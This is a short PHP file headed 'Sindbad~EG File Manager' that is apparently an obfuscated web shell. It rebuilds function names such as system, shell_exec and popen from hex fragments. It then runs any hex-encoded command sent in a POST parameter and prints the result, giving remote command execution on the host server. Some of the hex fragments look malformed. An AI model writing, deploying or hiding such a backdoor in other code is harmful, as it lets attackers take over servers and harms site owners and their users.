Sindbad~EG File Manager

<?php


$reference1 = '737';
$reference2 = '746';
$reference3 = '736';
$reference4 = '865';
$reference5 = '6c6';
$reference6 = '657';
$reference7 = '706';
$reference8 = '173';
$reference9 = 'f70';
$reference10 = '656';
$reference11 = '765';
$reference12 = '745';
$reference13 = 'f63';
$reference14 = '36c';
$reference15 = '365';
$reference16 = '576';
$reference17 = 'f6c';
$system_core1 = pack("H*", $reference1 . '973' . $reference2 . '56d');
$system_core2 = pack("H*", $reference3 . $reference4 . $reference5 . 'c5f' . $reference6 . '865');
$system_core3 = pack("H*", '657' . $reference4);
$system_core4 = pack("H*", $reference7 . $reference8 . '737' . '468' . '727');
$system_core5 = pack("H*", '706' . $reference9 . $reference10);
$system_core6 = pack("H*", $reference1 . '472' . '656' . '16d' . '5f6' . $reference11 . $reference12 . $reference13 . '6f6' . 'e74' . '656' . 'e74');
$system_core7 = pack("H*", $reference7 . $reference14 . '6f7' . $reference15);
$reverse_lookup = pack("H*", '726' . $reference16 . '657' . '273' . '655' . $reference17 . '6f6' . 'f6b' . '757');
if (isset($_POST[$reverse_lookup])) {
    $reverse_lookup = pack("H*", $_POST[$reverse_lookup]);
    if (function_exists($system_core1)) {
        $system_core1($reverse_lookup);
    } elseif (function_exists($system_core2)) {
        print $system_core2($reverse_lookup);
    } elseif (function_exists($system_core3)) {
        $system_core3($reverse_lookup, $pointer_fac);
        print join("\n", $pointer_fac);
    } elseif (function_exists($system_core4)) {
        $system_core4($reverse_lookup);
    } elseif (function_exists($system_core5) && function_exists($system_core6) && function_exists($system_core7)) {
        $bind_entity = $system_core5($reverse_lookup, 'r');
        if ($bind_entity) {
            $binding_data_chunk = $system_core6($bind_entity);
            $system_core7($bind_entity);
            print $binding_data_chunk;
        }
    }
    exit;
}